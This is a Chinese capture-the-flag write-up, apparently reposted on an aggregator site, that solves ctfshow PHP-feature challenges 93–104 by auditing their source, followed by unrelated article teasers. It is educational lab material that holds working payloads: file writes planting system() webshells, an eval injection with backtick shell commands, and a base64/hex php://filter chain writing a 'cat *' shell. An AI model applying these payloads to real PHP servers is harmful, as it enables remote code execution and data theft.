【PHP代码审计】ctfshow web入门 php特性 93-104

news2024/9/24 1:17:57

ctfshow web入门 php特性 93-104

  • web 93
  • web 94
  • web 95
  • web 96
  • web 97
  • web 98
  • web 99
  • web 100
  • web 101
  • web 102
  • web 103
  • web 104

web 93

在这里插入图片描述

这段PHP代码是一个简单的源码审计例子,让我们逐步分析它:

  1. include("flag.php");: 这行代码将flag.php文件包含进来。如果flag.php文件中定义了变量 $flag,它将在当前文件中可用。

  2. highlight_file(__FILE__);: 这行代码将会将当前文件的源代码进行语法高亮并输出到浏览器,以便我们查看代码的内容。

  3. 下面是一个针对用户输入的num参数的处理:

    a. $num = $_GET['num'];: 从GET请求中获取名为num的参数,并将其赋值给变量$num

    b. if($num==4476){ die("no no no!"); }: 如果用户输入的num等于4476,将输出"no no no!"并终止脚本的执行。

    c. if(preg_match("/[a-z]/i", $num)){ die("no no no!"); }: 如果用户输入的num中包含任何字母(大小写不敏感),将输出"no no no!"并终止脚本的执行。

    d. if(intval($num,0)==4476){ echo $flag; }else{ echo intval($num,0); }: 在这里,intval()函数将尝试将$num转换为整数类型。如果转换后的结果等于4476,将输出$flag的内容,否则输出转换后的整数值。

所以,从审计的角度来看:
代码中对用户输入num进行了多层过滤,主要是为了防止用户输入恶意数据。首先检查是否等于4476,其次检查是否包含字母。但这里有一个问题:它使用了intval()函数来转换输入,将输入强制转换为整数。在这里,如果输入的值以零开头(例如:001),则PHP会将其视为八进制数。

在这里插入图片描述

因此,用户可以通过输入以零开头的数字来绕过检查,获取到flag。

例如:传入 num=010574,它会被当作4476处理,然后输出$flag的内容。

在这里插入图片描述

还有小数也可以绕过if($num==4476){ die("no no no!"); }。比如传 ?num=4476.1

在这里插入图片描述

OK这题就完全理解了。

web 94

在这里插入图片描述

对比web 93,有以下几个重要的改动:

  1. if($num==="4476"){ die("no no no!"); }: 这里使用了三个等号(===),意味着在比较时不仅要比较值,还要比较类型。

  2. if(!strpos($num, "0")){ die("no no no!"); }: 传入的参数的第一位不能为0,如果是0,就die

  3. 最后的条件判断变为 if(intval($num,0)===4476){ echo $flag; },这个条件确保用户输入不是以0开头,且转换为整数后与4476相等,才会输出$flag的内容。

可以传参:
?num=(空格)+010574
?num=4476.0

web 95

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]|\./i", $num)){
        die("no no no!!");
    }
    if(!strpos($num, "0")){
        die("no no no!!!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }

preg_match函数来检查变量$num是否包含任何小写字母(a到z之间)或者一个句号(.)。如果发现包含这些字符,就会执行die()函数,输出 “no no no!!” 并终止脚本的执行。
刚刚web 94 用到小数形式就不能用了。所以只能用:
?num=(空格)+ 010574

在这里插入图片描述

web 96

highlight_file(__FILE__);

if(isset($_GET['u'])){
    if($_GET['u']=='flag.php'){
        die("no no no");
    }else{
        highlight_file($_GET['u']);
    }


}

使用u传一个参,不能直接等于“flag.php”,如果u直接等于flag.php,那么将结束语句并输出 no no no。
使用两种方法传参:

  1. 相对路径:?u=./flag.php

在这里插入图片描述

  1. php伪协议:?u=php://filter/resource=flag.php

在这里插入图片描述

web 97

include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>

前面都是GET,到此改为POST传参。
满足题目条件:a、b存在且非空,a与b不相等但他们的MD5相等时,输出flag。

如果是双等号不是三等号,在这样的弱比较里,0e开头的会被识别成科学计数法,结果均为0,比较时0=0为true绕过。

像这样的强比较,上面的方法就失效了,但是如果传入的不是字符串而是数组,不但md5()函数不会报错,结果还会返回null,在强比较里面null=null为true绕过。

在这里插入图片描述

数组轻松绕过:
a[]=1&b[]=2

web 98

include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);

?> 
$_GET?$_GET=&$_POST:'flag'; 

这句语句表示,如果存在get方式,就把post的地址传给get,相当于get,只不过要利用post传一下参数。

highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);

如果有通过GET方法传参’HTTP_FLAG=flag’,就显示flag。否则显示__FILE__.

如此传参:
GET:/?随意内容
POST:HTTP_FLAG=flag

在这里插入图片描述

web 99

highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) { 
    array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
    file_put_contents($_GET['n'], $_POST['content']);
}

?> 

这部分代码用于生成一个名为 $allow 的数组,其中包含随机数。生成的随机数范围是从 1 到 0x36d(十进制 875)。↓

$allow = array();
for ($i=36; $i < 0x36d; $i++) { 
    array_push($allow, rand(1,$i));
}

这部分代码检查是否存在名为 ‘n’ 的 GET 参数,并且该参数的值存在于 $allow 数组中。如果满足这两个条件,将使用 POST 请求中的 ‘content’ 参数将内容写入文件。↓

if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
    file_put_contents($_GET['n'], $_POST['content']);
}

file_put_contents() 函数把一个字符串写入文件中。
如果文件不存在,将创建一个文件。
如果成功,该函数将返回写入文件中的字符数。如果失败,则返回 False。

GET?n=1.php
POST:content=<?php system("ls");?>
访问1.php

在这个请求中,GET 参数 ‘n’ 的值是 “1.php”,而 POST 参数 ‘content’ 的值是 <?php system("ls");?>,即恶意代码片段 system(“ls”)。

然后,代码会检查 ‘n’ 参数是否存在于 $allow 数组中。假设 “1.php” 是在 $allow 数组中,则会将 <?php system("ls");?> 写入名为 “1.php” 的文件。

当访问 “1.php” 时,恶意代码 system(“ls”) 将会被执行,显示当前目录中的内容。

GET?n=1.php
POST:content=<?php system("tac flag36d.php");?>
访问1.php

在这个请求中,GET 参数 ‘n’ 的值仍然是 “1.php”,而 POST 参数 ‘content’ 的值是 <?php system("tac flag36d.php");?>,即另一个恶意代码片段 system(“tac flag36d.php”)。

假设 “1.php” 仍然是在 $allow 数组中,则会将 <?php system("tac flag36d.php");?> 写入名为 “1.php” 的文件。

当访问 “1.php” 时,恶意代码 system(“tac flag36d.php”) 将会被执行,显示名为 “flag36d.php” 的文件内容的逆向(从最后一行到第一行)。

在这里插入图片描述

web 100


highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\;/", $v2)){
        if(preg_match("/\;/", $v3)){
            eval("$v2('ctfshow')$v3");         

源码审计:

$ctfshow = new ctfshow();

创建了一个名为 $ctfshow 的对象。

$v1=$_GET['v1']; $v2=$_GET['v2']; $v3=$_GET['v3'];

这几行代码从 GET 请求参数中获取数据,并将其存储在变量 $v1, $v2, $v3 中。

$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);

使用 is_numeric() 函数检查 $v1, $v2, $v3 是否都为数字。然后将结果赋值给变量 $v0。

由于=的优先级高于and,因此只需要v1等于数字就可以绕过上述检查。

if(!preg_match("/\;/", $v2)){
        if(preg_match("/\;/", $v3)){

这段代码是使用正则表达式检查v2、v3是否含有分号。

eval("$v2('ctfshow')$v3"); 

eval()函数的作用是将传入的字符串作为 PHP 代码进行解析和执行。简单来说,eval() 函数可以在运行时动态执行一段 PHP 代码。
它将 $v2 和 $v3 的值插入到字符串中并执行。

综上,传参让$ctfshow显出来就行了:

/?v1=1&v2=&v3=?><?=`tac ctfshow.php`;

在这里插入图片描述
flag格式是ctfshow{}。

web 101

highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
        if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
            eval("$v2('ctfshow')$v3"); 

源码是web 100 的小改款,多出了:

正则检查的符号包括:
1. `\\\\`:匹配反斜杠 `\`。
2. `\/`:匹配正斜杠 `/`。
3. `\~`:匹配波浪号 `~`。
4. `\``:匹配反引号 `` ` ``。
5. `\!`:匹配感叹号 `!`。
6. `\@`:匹配at符号 `@`。
7. `\#`:匹配井号 `#`。
8. `\\$`:匹配美元符号 `$`9. `\%`:匹配百分号 `%`10. `\^`:匹配插入符号 `^`11. `\*`:匹配星号 `*`12. `\)`:匹配右括号 `)`13. `\-`:匹配减号 `-`14. `\_`:匹配下划线 `_`15. `\+`:匹配加号 `+`16. `\=`:匹配等号 `=`17. `\{`:匹配左花括号 `{`18. `\[`:匹配左方括号 `[`19. `\"`:匹配双引号 `"`20. `\'`:匹配单引号 `'`21. `\,`:匹配逗号 `,`22. `\. `:匹配点号 `.`23. `\;`:匹配分号 `;`24. `\?`:匹配问号 `?`25. `[0-9]`:匹配数字字符 09

用到PHP Reflection API 这个东西。
PHP Reflection API 是 PHP 的一组内置类和接口,它允许在运行时获取关于类、接口、函数、方法、属性等各种对象的信息。通过 Reflection API,我们可以在代码运行时动态地分析和获取这些对象的结构和属性,使得 PHP 在运行时具备了一定程度的反射(reflection)能力。

Reflection API 提供了一些类和接口,其中最常用的类包括:

  1. ReflectionClass:用于获取类的相关信息,如类名、父类、接口、属性、方法等。
  2. ReflectionMethod:用于获取类方法的相关信息,如方法名、参数、访问修饰符等。
  3. ReflectionFunction:用于获取函数的相关信息,如函数名、参数、返回值等。
  4. ReflectionProperty:用于获取类属性的相关信息,如属性名、访问修饰符等。
  5. ReflectionParameter:用于获取函数或方法的参数信息,如参数名、默认值等。

通过 Reflection API,开发者可以在运行时动态地探索和操作类、方法和函数的结构,例如:

  • 动态地获取类的方法和属性,实现类的自动文档生成或代码生成工具;
  • 检查类或方法的注释和特性,实现自定义的注解功能;
  • 动态地调用类的方法和创建对象,实现依赖注入和反射调用。

传参:

/?v1=1&v2=echo%20new%20ReflectionClass&v3=;

分析一下代码的执行过程:

  1. v1=1:这里将 v1 设置为数字 1。

  2. v2=echo%20new%20ReflectionClass:这里将 v2 设置为字符串 echo new ReflectionClass,注意 %20 是 URL 编码的空格符。

  3. v3=;:这里将 v3 设置为一个分号 ;

接下来,代码执行的逻辑是:

  1. 首先,is_numeric() 函数会检查 v1v2v3 是否都是数字。在这里,v1 是数字 1,因此条件通过。

  2. 然后,代码会进行正则表达式匹配,检查 v2v3 是否包含特定的字符。

    • 对于 v2,正则表达式为 /\\\\|\/|\~|\|!|@|#|\$|%|^|*|)|-|_|+|=|{|[|“|'|,|.|;|?|[0-9]/,这里的 ` 在正则表达式中需要转义,所以实际匹配的是 \|/|~||!|@|#|$|%|^|*|)|-|_|+|=|{|[|”|'|,|.|;|?|[0-9]`。没有匹配到特殊字符,所以条件通过。

    • 对于 v3,正则表达式为 /\\\\|\/|\~|\|!|@|#|\$|%|^|*|(|-|_|+|=|{|[|“|'|,|.|?|[0-9]/,这里的 ` 在正则表达式中需要转义,所以实际匹配的是 \|/|~||!|@|#|$|%|^|*|(|-|_|+|=|{|[|”|'|,|.|?|[0-9]`。没有匹配到特殊字符,所以条件通过。

  3. 最后,代码会执行以下语句:eval("$v2('ctfshow')$v3");

    • 根据我们的输入,这将等效于执行以下代码:eval("echo new ReflectionClass('ctfshow');");

    • eval() 函数将会执行字符串中的代码,因此这里会输出 new ReflectionClass('ctfshow')

web 102

highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    file_put_contents($v3,$str);
}
else{
    die('hacker');
}


?> 
  1. 从POST请求中获取参数$v1
  2. 从GET请求中获取参数$v2$v3
  3. 判断$v2$v3是否都是数字(通过is_numeric函数判断),并将结果保存到$v4中。

如果$v4为真(即$v2$v3都是数字):

  1. $v2的第三个字符开始截取子字符串保存到$s中。$s = substr($v2,2);

  2. 调用名为$v1的回调函数,将$s作为参数传递给它,并将函数返回值保存到$str中。
    $str = call_user_func($v1,$s);

  3. $str输出到页面。

  4. $str的内容写入名为$v3的文件中。file_put_contents($v3,$str);

如果$v4为假(即$v2$v3不是都是数字):输出字符串"hacker",然后终止程序的执行。

构造传参:

$v1:使用hex2bin()作为回调函数(16进制转化为字符)
$v2:要求全是数字。
$v3:使用PHP伪协议写入文件

$a=<?=`cat *`;
$b=base64_encode($a); 
$c=bin2hex($b);
bin2hex是把ASCII 字符的字符串转化为16进制
输出   5044383959474e6864434171594473
带e的话会被认为是科学计数法,可顺利通过is_numeric的检测。
因为是从下标为2的位置取的字符串,所以要在前面加两个数字(随意)
故v2=005044383959474e6864434171594473

payload:

GET:?v2=005044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php

POST:v1=hex2bin          //这个就是把16进制转换为ASCII 字符的字符串

传参后,访问1.php后,查看源代码,获得flag

在这里插入图片描述

web 103

highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    if(!preg_match("/.*p.*h.*p.*/i",$str)){
        file_put_contents($v3,$str);
    }
    else{
        die('Sorry');
    }
}
else{
    die('hacker');
}

?>

对于之前的代码,新增了以下内容:

  1. 使用正则表达式检查$str中是否包含"php"子字符串:
if(!preg_match("/.*p.*h.*p.*/i",$str)){
    file_put_contents($v3,$str);
}
else{
    die('Sorry');
}

这部分代码首先使用正则表达式/.*p.*h.*p.*/i来检查$str中是否包含"php"子字符串。正则表达式的含义是任意字符,后面跟着"p",后面跟着任意字符,后面跟着"h",后面再跟着任意字符,最后跟着"p",而i标记表示忽略大小写。这样的正则表达式会匹配包含"php"子字符串的任何形式。

  1. 根据正则表达式的匹配结果执行不同的操作:
  • 如果$str中不包含"php"子字符串,则将$str写入名为$v3的文件中:
file_put_contents($v3,$str);
  • 如果$str中包含"php"子字符串,则输出字符串"Sorry"并终止程序的执行:
die('Sorry');

这样的改动尝试防止用户将"php"关键词写入文件中,以防止潜在的代码注入攻击。如果$str中包含"php",则直接输出"Sorry",并停止文件写入。

然而我们的传参不受黑名单限制,payload依然是一样:

GET:?v2=005044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php

POST:v1=hex2bin          //这个就是把16进制转换为ASCII 字符的字符串

传参后,访问1.php后,查看源代码,获得flag

在这里插入图片描述

web 104

highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
    $v1 = $_POST['v1'];
    $v2 = $_GET['v2'];
    if(sha1($v1)==sha1($v2)){
        echo $flag;

sha1与md5一样,都是无法处理数组。所以这题跟web 97是一样的做法。使用数组进行绕过:

POST:v1[]=2
GET:v2[]=1

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/823268.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【图论】强连通分量

一.定义 强连通分量&#xff08;Strongly Connected Components&#xff0c;简称SCC&#xff09;是图论中的一个概念&#xff0c;用于描述有向图中的一组顶点&#xff0c;其中任意两个顶点之间都存在一条有向路径。换句话说&#xff0c;对于图中的任意两个顶点u和v&#xff0c;…

windows编译ncnn

官方代码https://github.com/Tencent/ncnn/wiki/how-to-build#build-for-windows-x64-using-visual-studio-community-2017 编译工具 visual studio 2017 一、编译protobuf 1、下载protobuf protobuf-3.11.2&#xff1a;https://github.com/google/protobuf/archive/v3.11…

部署monggodb副本集详细文档

部署monggodb副本集 MongoDB有多种高可用性架构可以选择&#xff0c;以下是其中几种常见的高可用性架构&#xff1a; 副本集&#xff08;Replica Set&#xff09;&#xff1a;副本集是MongoDB中最基本的高可用性架构。它由多个节点组成&#xff0c;其中有一个主节点&#xff0…

指针初阶(超详解)

指针初阶 1.指针是什么2.指针和指针类型2.1 指针-整数2.2 指针的解引用 3.野指针3.1 野指针成因3.2如何避免野指针 4.指针运算4.1 指针-整数4.2 指针-指针4.3 指针的关系运算 5.指针和数组6.二级指针7.指针数组 1.指针是什么 指针是什么&#xff1f; 指针理解的2个要点&#xf…

express学习笔记5 - 自定义路由异常处理中间件

修改router/index.js&#xff0c;添加异常处理中间件 *** 自定义路由异常处理中间件* 注意两点&#xff1a;* 第一&#xff0c;方法的参数不能减少* 第二&#xff0c;方法的必须放在路由最后*/ router.use((err, req, res, next) > {console.log(err);const msg (err &…

如何制作VR全景地图,VR全景地图可以用在哪些领域?

引言&#xff1a; 随着科技的迅速进步&#xff0c;虚拟现实&#xff08;VR&#xff09;技术正逐渐渗透到各个领域。VR全景地图作为其中的重要应用之一&#xff0c;为人们提供了身临其境的全新体验。 一.什么是VR全景地图&#xff1f; VR全景地图是一种利用虚拟现实技术&…

RTC晶振两端要不要挂电容

发现GD32的RTC晶振两端需要挂电容&#xff0c;STM32的RTC晶振两端不需要挂电容。 STM32的RTC晶振两端&#xff0c;不需要挂电容&#xff0c;这样晶振启振很容易&#xff0c;挂大了&#xff0c;却难启动&#xff0c;且温度越低&#xff0c;启动越难。 有人说负载电容为6pF的晶振…

(一)初识streamlit——安装以及初步应用

1 前言 最近我开发了一款基于Streamlit的舌体分割演示应用&#xff0c;并将其发布在Streamlit Cloud上。现在&#xff0c;任何人都可以通过访问应用的链接&#xff0c;轻松体验这个舌体分割项目。 相关链接&#xff1a;舌体分割的初步展示应用——依托Streamlit搭建demo 基于此…

2023年第四届“华数杯”数学建模思路 - 案例:退火算法

## 0 赛题思路 &#xff08;赛题出来以后第一时间在CSDN分享&#xff09; https://blog.csdn.net/dc_sinor?typeblog 1 退火算法原理 1.1 物理背景 在热力学上&#xff0c;退火&#xff08;annealing&#xff09;现象指物体逐渐降温的物理现象&#xff0c;温度愈低&#…

【Nginx13】Nginx学习:HTTP核心模块(十)Types、AIO及其它配置

Nginx学习&#xff1a;HTTP核心模块&#xff08;十&#xff09;Types、AIO及其它配置 今天学习的内容也比较简单&#xff0c;主要的是 Types 相关的配置&#xff0c;另外还会了解一下 AIO 以及部分没有特别大的分类归属的配置指令的使用。后面的内容都是 HTTP 核心模块中比较小…

植物大战僵尸修改器制作--从入门到入土

文章目录 基础准备基址偏移表常规项目卡槽植物种植无冷却无限阳光浓雾透视基本原理HOOK除雾代码 种植植物基本原理远程线程注入dll函数远程线程卸载dll函数关键dll函数失败代码远程线程代码注入(推荐) 种植僵尸基本原理种植僵尸函数--dll注入版远程代码注入版 完整程序代码参考…

npm ERR! code EPERM npm ERR! syscall unlink npm ERR!错误解决方法

npm ERR! code EPERM npm ERR! syscall unlink npm ERR!错误解决方法 1、问题描述2、解决方法 1、问题描述 由于之前电脑系统的原因&#xff0c;电脑重置了一下&#xff0c;之前安装的环境都没了&#xff0c;然后在重新安装node.js后在使用npm安装时总是报如下错误&#xff1a…

如何在免费版 pycharm 中使用 github copilot (chatGPT)?

起因 在 vscode 中使用了 github copilot 以后&#xff0c;感觉这个人工智能还不错。 但 vscode 对于 python 项目调试并不是特别方便&#xff0c;所以想在 Pycharm 中也能使用同一个 github 账号&#xff0c;用上 copilot 的功能。 不需要等待&#xff0c;安装即用&#xff…

Android复习(Android基础-四大组件)—— Service

1. Service的概述 Service是一个可以在后台长期运行并且不需要和用户进行交互的应用组件。 主要负责&#xff1a;不需要和用户交互而且还要求长期运行的任务&#xff0c;比如耗时操作。 Service不是运行在一个独立的进程当中&#xff0c;不依赖于任何用户界面。 其依赖于创建…

无线电蓝牙音频-BES数字音频系统音频流图

+我V hezkz17进数字音频系统研究开发交流答疑群(课题组) (1)音乐播放音频流图 Decode"(解码)是指将编码后的数据转换回原始格式或可读取的形式的过程,SBC解码成PCM

Linux第三章之重定向 管道命令 环境变量PATH

一、了解Linux目录配置标准FHS FHS本质一套规定Linux目录结构&#xff0c;软件建议安装位置的标准。 使用Linux来开发产品或者发布软件的公司、个人太多&#xff0c;如果每家公司或者个人都按照自己的意愿来配置文件或者软件的存放位置&#xff0c;这无疑是一场灾难。 #进入…

WordPress--关闭主题和插件的自动更新

原文网址&#xff1a;WordPress--关闭主题和插件的自动更新_IT利刃出鞘的博客-CSDN博客 简介 本文介绍如何关闭WordPress主题和插件的自动更新提示。 方法 使用插件&#xff1a;Eay Updates Manager 安装完插件后&#xff0c;所有插件被管理&#xff0c;并自动关闭更新&…

PDM系统的协同优势

在现代制造业中&#xff0c;产品的复杂性和多样性日益增加&#xff0c;要实现高效的生产和交付&#xff0c;协同合作显得尤为重要。而PDM系统&#xff08;Product Data Management&#xff0c;产品数据管理&#xff09;作为关键工具&#xff0c;正是提升协同效率的有力支持。让…

NLP实战9:Transformer实战-单词预测

目录 一、定义模型 二、加载数据集 三、初始化实例 四、训练模型 五、评估模型 &#x1f368; 本文为[&#x1f517;365天深度学习训练营]内部限免文章&#xff08;版权归 *K同学啊* 所有&#xff09; &#x1f356; 作者&#xff1a;[K同学啊] 模型结构图&#xff1a; &a…

【编程语言 · C语言 · malloc函数】

【编程语言 C语言 malloc函数】https://mp.weixin.qq.com/s?__bizMzg4NTE5MDAzOA&mid2247491503&idx1&sn856b0ee891614a00ae78e84161861e48&chksmcfade356f8da6a404f586365f1987cfc193c0465faf51d959bed9dc5e5e8ce6c112f607f18f3&payreadticketHOUhzlYV…